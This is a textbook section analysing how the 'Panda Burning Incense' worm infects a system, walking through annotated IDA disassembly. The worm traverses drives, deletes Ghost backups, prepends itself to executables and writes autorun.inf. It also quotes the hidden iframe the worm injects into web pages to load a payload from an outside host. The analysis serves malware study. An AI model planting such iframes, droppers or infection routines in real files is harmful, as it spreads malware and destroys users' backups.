15.5 “熊猫烧香”的感染过程分析

要想修复被感染的文件就必须了解病毒的感染过程,以及它都会感染哪些文件。有了这些线索,就可以依次修复那些被感染的程序。“熊猫烧香”病毒是如何感染其他文件,并使其图标也变为小熊猫的呢?这就需要分析代码清单15-2中第二个重要的函数InfectOtherFile,这个函数是“熊猫烧香”病毒的核心部分,函数实现如下:


InfectOtherFile proc near;函数入口

0040CFB4 call sub_40A7EC;创建感染线程,重命名为CreateInfectThread

0040CFB9 call sub_40C5B0;通过时钟写Autorun.inf文件,重命名为SetTimeAut

0040CFBE mo ax,0Ah

0040CFC2 call sub_40BD08;通过网络感染,重命名为NetworkInfect

0040CFC7 retn

InfectOtherFile endp


通过查看InfectOtherFile的实现代码可以发现,此病毒通过3种方式进行感染,前两种是在本地进行病毒的感染,第3种则需要网络的支持。首先我们来分析CreateInfectThread的实现过程,代码实现如下:


CreateInfectThread proc near

0040A7EC push ecx

0040A7ED push esp;lpThreadId

0040A7EE push 0;dwCreationFlags

0040A7F0 push 0;lpParameter

;线程回调函数,病毒感染的实现代码就在此函数中,重命名为StartInfectThread

0040A7F2 push offset sub_40A6C8;lpStartAddress

0040A7F7 push 0;dwStackSize

0040A7F9 push 0;lpThreadAttributes

0040A7FB call CreateThread_0

0040A800 pop edx

0040A801 retn

CreateInfectThread endp


经过层层分析,最终定位到病毒感染线程所在的位置,跟踪到此函数的首地址处,查看其实现代码,分析具体的感染流程,如代码清单15-11所示。

代码清单15-11 病毒感染函数StartInfectThread的分析—IDA分析


StartInfectThread proc near;函数入口

0040A6C8 var_20=dword ptr-20h;局部变量标号定义

0040A6C8 var_1C=dword ptr-1Ch

0040A6C8 var_18=dword ptr-18h

0040A6C8 var_14=dword ptr-14h

0040A6C8 var_10=dword ptr-10h

0040A6C8 var_C=dword ptr-0Ch

0040A6C8 var_8=dword ptr-8

0040A6C8 var_4=dword ptr-4

;部分代码分析略

;存放驱动器名称字符串的首地址

0040A6E5 lea eax,[ebp+var_4];将var_4重命名为strDriverName

;获得驱动器名称,生成类似"ABC"这样的字符串

0040A6E8 call sub_4076B4;重命名为GetDriverNameStr

0040A6ED mov eax,[ebp+strDriverName]

0040A6F0 call GetFileLen;获取驱动器个数

0040A6F5 mov esi, eax

0040A6F7

loc_40A6F7:;地址标号

0040A6F7 mov ebx, esi

0040A6F9 cmp ebx,1

0040A6FC jl short loc_40A6F7;判断驱动器个数是否小于1,若小于1,则跳转

loc_40A6FE:;地址标号,循环遍历驱动器盘符的起始点

0040A6FE lea eax,[ebp+var_C]

0040A701 mov edx,[ebp+strDriverName];获取驱动器名称字符串的首地址

0040A704 mov dl,[edx+ebx-1]

;将字符串转换成字符

0040A708 call sub_403E2C;重命名为StrToChar

0040A70D mov eax,[ebp+var_C]

0040A710 lea edx,[ebp+var_8];保存大写驱动器名称

0040A713 call ToUpper;将字符串转为大写

0040A718 mov eax,[ebp+var_8]

0040A71B push eax

0040A71C lea edx,[ebp+var_10]

0040A71F mov eax, offset aA;"a"

0040A724 call ToUpper;将字符"a"转为大写

0040A729 mov eax,[ebp+var_10]

0040A72C pop edx

0040A72D call FindSignPos;查找字符"A"在字符串中的位置

0040A732 test eax, eax

0040A734 jnz short loc_40A792;递减遍历过的驱动器数目

0040A736 lea eax,[ebp+var_18]

0040A739 mov edx,[ebp+strDriverName]

0040A73C mov dl,[edx+ebx-1]

0040A740 call StrToChar

0040A745 mov eax,[ebp+var_18]

0040A748 lea edx,[ebp+var_14]

0040A74B call ToUpper

0040A750 mov eax,[ebp+var_14]

0040A753 push eax

0040A754 lea edx,[ebp+var_1C]

0040A757 mov eax, offset aB;"b"

0040A75C call ToUpper;将字符"b"转为大写

0040A761 mov eax,[ebp+var_1C]

0040A764 pop edx

0040A765 call FindSignPos

0040A76A test eax, eax

0040A76C jnz short loc_40A792;递减遍历过的驱动器数目

0040A76E lea eax,[ebp+var_20]

0040A771 mov edx,[ebp+strDriverName]

0040A774 mov dl,[edx+ebx-1];获取盘符

0040A778 call StrToChar

0040A77D lea eax,[ebp+var_20]

0040A780 mov edx, offset loc_40A7E8;":\\"

0040A785 call CatStr;向盘符名称追加字符串":\\"

0040A78A mov eax,[ebp+var_20]

;通过查找到的驱动器盘符,遍历盘符中的各种文件并感染它们

0040A78D call sub_4094A4;重命名为FindFileAndInfect

loc_40A792:;地址标号

0040A792 dec ebx;遍历结束后,驱动器数减1

0040A793 test ebx, ebx

0040A795 jnz loc_40A6FE;如果驱动器数不为0,则继续遍历驱动器,并感染其中的文件

0040A79B jmp loc_40A6F7;遍历感染结束

0040A79B StartInfectThread endp


代码清单15-11的主要工作是遍历驱动器盘符的数目,并通过FindFileAndInfect函数进入到驱动器中,遍历所有可感染文件以进行病毒复制。我们跟进到FindFileAndInfect函数中,分析这个函数的工作流程,如代码清单15-12所示。

代码清单15-12 查找文件感染函数FindFileAndInfect的代码片段1—IDA分析


FindFileAndInfect proc near;函数入口

004094A4 var_334=dword ptr-334h

;部分地址标号定义略

004094A4 var_4=dword ptr-4

;部分代码分析略

;驱动器字符串首地址,重命名var_4为strDriverPath

004094EF mov eax,[ebp+var_4]

004094F2 call GetFileLen

004094F7 mov edx,[ebp+strDriverPath]

004094FA cmp byte ptr[edx+eax-1],5Ch;判断strDriverName的结尾是否为"\"

004094FF jz short loc_40950E

00409501 lea eax,[ebp+strDriverPath];如果读到结尾没有'\',则拼接一个"\\"

00409504 mov edx, offset dword_40A378;字符串"\\"

00409509 call CatStr

loc_40950E:;地址标号

0040950E lea eax,[ebp+var_178]

00409514 mov ecx, offset dword_40A384;字符串"*.*"

00409519 mov edx,[ebp+strDriverPath]

;将字符串"*.*"追加到驱动器路径后

0040951C call sub_403F18;重命名为DriverPathCat

00409521 mov eax,[ebp+var_178];保存追加后的字符串名称,如C:\*.*

00409527 lea ecx,[ebp+var_164]

0040952D mov edx,3Fh

;查找文件属性为faArchive|faDirectory|faSysFile|faVolumeID|faReadOnly|faHidden

00409532 call sub_407640;重命名为FindFileProperty

00409537 test eax, eax;查找结果存放在[ebp+var_164]中

00409539 jnz loc_40A2DF;若查找失败,则跳转

loc_40953F:;地址标号,开始查找文件

0040953F mov eax,[ebp+var_15C]

00409545 and eax,10h

00409548 cmp eax,10h;检查是否为faDirectory,即是否为目录

0040954B jnz loc_409DC3;若不是目录,则跳转,并对获取到的文件进行处理

00409551 mov eax,[ebp+var_158];获取到的文件夹名称

00409557 cmp byte ptr[eax],2Eh;比较文件的第一个字符是否为"."

0040955A jz loc_409DC3;若不是目录,则跳转,对获取到的文件进行处理

00409560 lea edx,[ebp+var_17C];排除特殊文件夹,保存排除文件夹的名称

00409566 mov eax, offset aWindows_0;"WINDOWS"

0040956B call ToUpper

00409570 mov eax,[ebp+var_17C];"WINDOWS"大写名称

00409576 push eax

00409577 lea edx,[ebp+var_180];ToUpper函数的out参数,在[tebP+var_180]

处返回文件夹名称的大写形式的指针

0040957D mov eax,[ebp+var_158];ToUpper函数的in参数,传递文件夹名称

00409583 call ToUpper

00409588 mov edx,[ebp+var_180];取出所获取文件夹的名称的大写形式

0040958E pop eax

0040958F call CmpStr;比较是否为特殊过滤文件夹

00409594 jz loc_40A2CC;若不是,则跳转失败,继续排除特殊文件夹

;排除特殊文件夹代码的过程相同,故分析略


代码清单15-12遍历了驱动器下的文件信息,并将文件与文件夹进行了分类,排除了特殊文件夹。在判断是否为特殊文件夹的过程中,都是以大写形式进行对比的,为的是防止因大小写不同而造成错误。当查询到的是文件夹而非特殊文件夹时,病毒程序将要执行破坏性操作,具体分析如代码清单15-13所示。

代码清单15-13 查找文件感染函数FindFileAndInfect的代码片段2—IDA分析


00409A22 push[ebp+strDriverName];到此排除以上特殊文件夹

00409A25 push[ebp+var_158]

00409A2B push offset aDesktop__ini_0;"\\Desktop_.ini"

00409A30 lea eax,[ebp+var_224]

00409A36 mov edx,3

00409A3B call CatStrStr;将字符串"\\Desktop_.ini"追加到当前目录

00409A40 mov eax,[ebp+var_224];追加后的全路径

00409A46 call sub_4057A4;检查路径下是否存在"Desktop_.ini"

00409A4B test al, al

00409A4D jz loc_409C67;若文件存在,则跳转失败

00409A53 push[ebp+strDriverName]

00409A56 push[ebp+var_158];文件夹名称

00409A5C push offset aDesktop__ini_0;"\\Desktop_.ini"

00409A61 lea eax,[ebp+var_228]

00409A67 mov edx,3

00409A6C call CatStrStr;追加字符串,组合全路径

00409A71 mov eax,[ebp+var_228]

00409A77 lea edx,[ebp+var_8];保存获取信息的首地址

;获取"Desktop_.ini"文件中保存的时间信息

00409A7A call sub_407760;重命名为GetIniInfo

00409A7F lea eax,[ebp+SystemTime]

00409A85 push eax;lpSystemTime,保存当前系统时间

00409A86 call GetLocalTime;获取当前系统时间

00409A8B lea edx,[ebp+var_22C];保存格式化时间字符串的首地址

00409A91 movzx eax,[ebp+SystemTime.wYear]

;这是字符串格式化函数,先获取时间,然后将年份数据格式化到字符串中

00409A98 call sub_40587C;重命名为StrFormat

00409A9D push[ebp+var_22C]

00409AA3 push offset asc_40A598;"-"

00409AA8 lea edx,[ebp+var_230]

00409AAE movzx eax,[ebp+SystemTime.wMonth]

00409AB5 call StrFormat

00409ABA push[ebp+var_230]

00409AC0 push offset asc_40A598;"-"

00409AC5 lea edx,[ebp+var_234]

00409ACB movzx eax,[ebp+SystemTime.wDay]

00409AD2 call StrFormat

00409AD7 push[ebp+var_234]

00409ADD lea eax,[ebp+var_C]

00409AE0 mov edx,5

00409AE5 call CatStrStr;将转换后的时间字符串进行拼接,如2012-12-21

00409AEA mov eax,[ebp+var_8];保存从配置文件中获取的信息

00409AED mov edx,[ebp+var_C];保存组合后的时间字符串

00409AF0 call CmpStr;比较两者是否相同

00409AF5 jnz short loc_409B49;若相同,则跳转失败

00409AF7 push[ebp+strDriverName];压入驱动器名称

00409AFA push[ebp+var_158];压入文件夹名称

00409B00 push offset asc_40A5A4;"感染过,跳过!"

00409B05 lea eax,[ebp+var_238];保存拼接字符串的首地址

00409B0B mov edx,3

00409B10 call CatStrStr;组合字符串,如"C:\IDA\感染过,跳过!"

00409B15 mov eax,[ebp+var_238]

00409B1B mov edx, offset aCTest_txt;"c:\\test.txt"

;通过此函数,打开"c:\\test.txt",并写入感染信息,如"C:\IDA\感染过,跳过!"

00409B20 call sub_4050F0;重命名为OpenFileAndWrite

00409B25 lea eax,[ebp+var_23C];保存拼接后的路径首地址

00409B2B mov ecx,[ebp+var_158];文件夹名称

00409B31 mov edx,[ebp+strDriverName];驱动器名称

00409B34 call DriverPathCat;驱动器路径拼接

00409B39 mov eax,[ebp+var_23C]

;继续查找目录,写入ini以及更新ini文件的感染时间

00409B3F call sub_408944;同样也过滤了代码清单15-12中的特殊文件夹

00409B44 jmp loc_40A2CC


代码清单15-13执行了感染前的检查工作,此段代码将会在驱动器“C”盘下生成一份记录文件“test.txt”。文件被感染后,将会修改目录中的“Desktop_.ini”文件,并写入感染时间。若文件已经被感染,则会将流程跳转到地址标号loc_409B49处。地址标号loc_409B49处的代码的功能与代码清单15-13类似,只设置了“Desktop_.ini”的文件属性,将其修改为READONLY、HIDDEN、SYSTEM。

一个文件遍历结束后,则会回到代码清单15-12中地址标号loc_40953F处,重新遍历文件,重复之前分析过的操作。对文件的操作分析到此结束了,这里并没有感染文件。查看代码清单15-12中地址0x0040955A处,当查找到的目标是文件属性时,则会跳转到地址标号loc_409DC3处,这里就是对文件的感染操作了,具体分析如代码清单15-14所示。

代码清单15-14 查找文件感染函数FindFileAndInfect的代码片段3—IDA分析


loc_409DC3:;地址标号

00409DC3 mov eax,[ebp+var_158]

00409DC9 cmp byte ptr[eax],2Eh

00409DCC jz loc_40A2C5

00409DD2 lea edx,[ebp+var_27C]

00409DD8 mov eax,[ebp+var_158]

;获得指定文件名的后缀名

00409DDE call sub_405458;重命名为GetSuffixName

00409DE3 mov eax,[ebp+var_27C]

00409DE9 lea edx,[ebp+var_278]

;格式化后缀名,如果后缀名是小写,则转换成大写

00409DEF call sub_405700;重命名为FormatSuffixName

00409DF4 mov eax,[ebp+var_278]

00409DFA mov edx, offset aGho;"GHO"

00409DFF call CmpStr;字符串比较函数

00409E04 jnz short loc_409E2B;如果后缀名为"GHO",则跳转失败

00409E06 lea eax,[ebp+var_280]

00409E0C mov ecx,[ebp+var_158]

00409E12 mov edx,[ebp+var_4]

00409E15 call DriverPathCat;路径拼接

00409E1A mov eax,[ebp+var_280]

00409E20 call CheckStr

00409E25 push eax;lpFileName

00409E26 call DeleteFileA;删除ghost备份文件,使用户无法还原


代码清单15-14对文件进行检查,只要后缀名为“GHO”,就会判定其为ghost文件,直接删除,防止用户还原系统。

一旦删除了系统的备份文件,病毒就开始肆意感染了。感染文件类型有两种:exe、scr、pif、com和tm、html、asp、php、jsp、aspx。这两类后缀名的文件有两种不同的感染处理方式。我们跟踪到地址标号loc_409E2B处继续分析,具体过程如代码清单15-15所示。

代码清单15-15 查找文件感染函数FindFileAndInfect的代码片段4—IDA分析


;部分代码的分析略,exe、scr、pif、com文件的感染方式

00409EC9 lea edx,[ebp+var_29C]

00409ECF mov eax,[ebp+var_158]

00409ED5 call GetSuffxName;提取文件后缀名

00409EDA mov eax,[ebp+var_29C]

00409EE0 lea edx,[ebp+var_298]

00409EE6 call ToUpper;小写转大写

00409EEB mov eax,[ebp+var_298]

00409EF1 push eax

00409EF2 lea edx,[ebp+var_2A0]

00409EF8 mov eax, offset aExe;"EXE"

00409EFD call ToUpper;小写转大写

00409F02 mov edx,[ebp+var_2A0]

00409F08 pop eax

00409F09 call CmpStr;字符串比较函数

00409F0E jnz short loc_409F2F;检查后缀名是否为"EXE"

00409F10 lea eax,[ebp+var_2A4]

00409F16 mov ecx,[ebp+var_158]

00409F1C mov edx,[ebp+var_4]

00409F1F call DriverPathCat;路径拼接

00409F24 mov eax,[ebp+var_2A4]

;病毒感染函数,重命名sub_40800C↑InfectFile

00409F2A call sub_40800C

;部分代码的分析略,tm、html、asp、php、jsp、aspx文件的感染方式

loc_40A061:;地址标号

0040A061 lea edx,[ebp+var_2DC]

0040A067 mov eax,[ebp+var_158]

0040A06D call GetSuffxName;提取文件的后缀名

0040A072 mov eax,[ebp+var_2DC]

0040A078 lea edx,[ebp+var_2D8]

0040A07E call ToUpper;小写转大写

0040A083 mov eax,[ebp+var_2D8]

0040A089 push eax

0040A08A lea edx,[ebp+var_2E0]

0040A090 mov eax, offset aHtm;"htm"

0040A095 call ToUpper

;小写转大写

0040A09A mov edx,[ebp+var_2E0]

0040A0A0 pop eax

0040A0A1 call CmpStr;字符串比较函数

0040A0A6 jnz short loc_40A0C7;检查后缀名是否为"HTML"

0040A0A8 lea eax,[ebp+var_2E4]

0040A0AE mov ecx,[ebp+var_158]

0040A0B4 mov edx,[ebp+var_4]

0040A0B7 call DriverPathCat;拼接路径

0040A0BC mov eax,[ebp+var_2E4]

0040A0C2 call sub_407ADC;网页感染函数,重命名为InfectWeb


代码清单15-15对感染文件进行了分类处理。病毒感染文件的过程由InfectFile和InfectWeb来完成,两种类型文件分别通过这两个函数来感染。首先分析InfectFile的感染过程,具体过程如代码清单15-16所示。

代码清单15-16 InfectFile代码分析—IDA分析


InfectFile proc near;函数入口

0040800C var_1F4=dword ptr-1F4h

;局部变量标号定义略

0040800C var_4=dword ptr-4

;局部变量初始化略

00408074 mov ecx,[ebp+var_4]

00408077 mov edx, offset aK;"开始感染:"

0040807C call DriverPathCat;追加路径名称

00408081 mov eax,[ebp+var_1E0]

00408087 mov edx, offset aCTest_txt_0;"c:\\test.txt"

;记录感染的文件路径及文件名

0040808C call OpenFileAndWrite;打开文件并写入数据

00408091 lea edx,[ebp+var_1E4]

00408097 mov eax,[ebp+var_4]

0040809A call sub_405644;获得文件名,重命名为GetFileName

0040809F mov eax,[ebp+var_1E4]

;检查将要被感染的文件是否正在运行

004080A5 call sub_4078C4;重命名为OpenFileAndCheckRun

004080AA test al, al

004080AC jz short loc_4080BB

004080AE xor eax, eax;文件运行则放弃感染

;部分代码的分析略

;结束此次感染,重命名loc_40824F为INFECCT_FILE_END

004080B6 jmp loc_40824F

loc_4080BB:;地址标号

004080BB call sub_4027DC

004080C0 lea edx,[ebp+var_1E8]

004080C6 xor eax, eax

004080C8 call GetPath;获取病毒程序所在的路径

004080CD mov edx,[ebp+var_1E8];获取路径字符串的首地址

004080D3 mov eax,[ebp+var_4]

004080D6 call CmpStr;字符串比较函数

;判断感染程序与病毒程序是否在同一路径下,如果在同一路径下,则退出感染

004080DB jnz short loc_4080EA

;部分代码分析略

004080E5 jmp INFECCT_FILE_END;跳转到感染结束地址

loc_4080EA:;地址标号

004080EA lea eax,[ebp+var_8]

004080ED call sub_403C44;设置感染标记

004080F2 lea edx,[ebp+var_8]

004080F5 mov eax,[ebp+var_4]

004080F8 call FileToMem;读取将要被感染的文件的内容并写入到内存中

004080FD cmp[ebp+var_8],0

00408101 jnz short loc_408110判断读取内容是否成功,如果读取失败,则退出感染

;部分代码分析略

0040810B jmp INFECCT_FILE_END

loc_408110:;地址标号

00408110 mov edx,[ebp+var_8]

00408113 mov eax, offset aWhboy;"WhBoy"

00408118 call FindSignPos;检查文件中是否有"WhBoy"信息

0040811D test eax, eax

0040811F jle short loc_40812E;如果找到,则退出感染

;部分代码分析略

00408129 jmp INFECCT_FILE_END

loc_40812E:;地址标号

;部分代码分析略

0040814A push 0;apt

0040814C push ebx;hdc

0040814D lea edx,[ebp+var_1EC]

00408153 xor eax, eax

00408155 call GetPath;获取病毒程序所在的路径

0040815A mov eax,[ebp+var_1EC]

00408160 call CheckStr

00408165 push eax;lpExistingFileName

;复制当前运行的病毒主体文件并覆盖将要被感染的文件

00408166 call CopyFileA

0040816B test eax, eax

0040816D jnz short loc_40817C;若复制成功,则继续感染,否则就退出感染

;部分代码分析略

00408177 jmp INFECCT_FILE_END

loc_40817C:;地址标号

0040817C push offset aWhboy_1;"WhBoy"

00408181 lea edx,[ebp+var_1F0]

00408187 mov eax,[ebp+var_4]

0040818A call GetFileName;获得文件名

0040818F push[ebp+var_1F0]

00408195 push offset a_exe;".exe"

0040819A push offset dword_4082E8;整型数字2

0040819F mov eax,[ebp+var_8]

004081A2 call CheckFile

004081A7 lea edx,[ebp+var_1F4]

004081AD call StrFormat;格式化数字

004081B2 push[ebp+var_1F4]

004081B8 push offset dword_4082F4;整型数字1

004081BD lea eax,[ebp+var_10]

004081C0 mov edx,6

;字符串组合函数,如图15-6所示的字符串组合

004081C5 call StrCatFormat

004081CA lea eax,[ebp+var_C]

004081CD mov edx,[ebp+var_8]

004081D0 call sub_403CDC

004081D5 mov edx,[ebp+var_4]

004081D8 lea eax,[ebp+var_1DC]

004081DE call sub_402AD8;关联文件,重命名为Assign

004081E3 mov eax, ds:off_40E2BC

004081E8 mov byte ptr[eax],2

004081EB lea eax,[ebp+var_1DC]

004081F1 call sub_402874;以附加方式打开文件,重命名为Append

004081F6 call_IOTest

004081FB mov edx,[ebp+var_C]

004081FE lea eax,[ebp+var_1DC]

00408204 call WirteFileInfo;以附加方式写入要被感染的文件内容

;部分代码分析略,如代码清单15-9所示

0040821C call WirteFileInfo;以附加方式写入感染标记信息

;部分代码分析略,如代码清单15-9所示

00408243 jmp short INFECCT_FILE_END;感染结束

;其余代码分析略


代码清单15-16分析了“熊猫烧香”病毒是如何感染exe、scr、pif、com等文件的。首先,它将目标文件读取到内存中,并获取文件名及其大小;其次,将自身文件复制到目标文件前,并追加目标程序的原始文件;最后,加入标记,这样就完成了病毒的感染过程。

对Web类型的文件进行感染的过程比较简单,只需将字符串“<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>”写入符合感染要求的文件尾部即可。这里不再单独分析,读者可自己动手练习。

分析了线程中的病毒感染过程之后,我们对另一个感染过程—定时器进行分析。定时器中会创建Autorun.inf文件并进行感染。代码清单15-17对函数SetTimeAut进行了分析。

代码清单15-17 函数SetTimeAut的分析—IDA分析


SetTimeAut proc near;函数入口

0040C5B0 push offset TimerFunc;时钟回调函数

0040C5B5 push 1770h;uElapse

0040C5BA push 0;nIDEvent

0040C5BC push 0;hWnd

0040C5BE call SetTimer

0040C5C3 mov ds:dword_40E2AC, eax

0040C5C8 retn

SetTimeAut endp


代码清单15-17设置了定时器,并在回调函数TimerFunc中生成autorun.inf和setup.exe文件。这部分代码的原理与磁盘病毒的感染原理相同,遍历每个可用的磁盘,在磁盘的根目录下将病毒文件本身复制一份,并在根目录下创建一个autorun.inf文件,其内容如下:


[AutoRun]

OPEN=setup.exe

shellexecute=setup.exe

shell\Auto\command=setup.exe


到此,病毒的感染部分就分析完了。由于该病毒采取了免杀的保护措施,可停止或删除杀毒软件的功能,无法被当时的杀毒软件查杀,因此在2007年大范围肆虐,如今的杀毒软件已经可以将其删除。关于病毒是如何自我保护的,本书将不作分析。在调试分析病毒程序时,切记要在虚拟机下调试,且不要安装杀毒软件,否则病毒将会被移除,无法进行调试分析。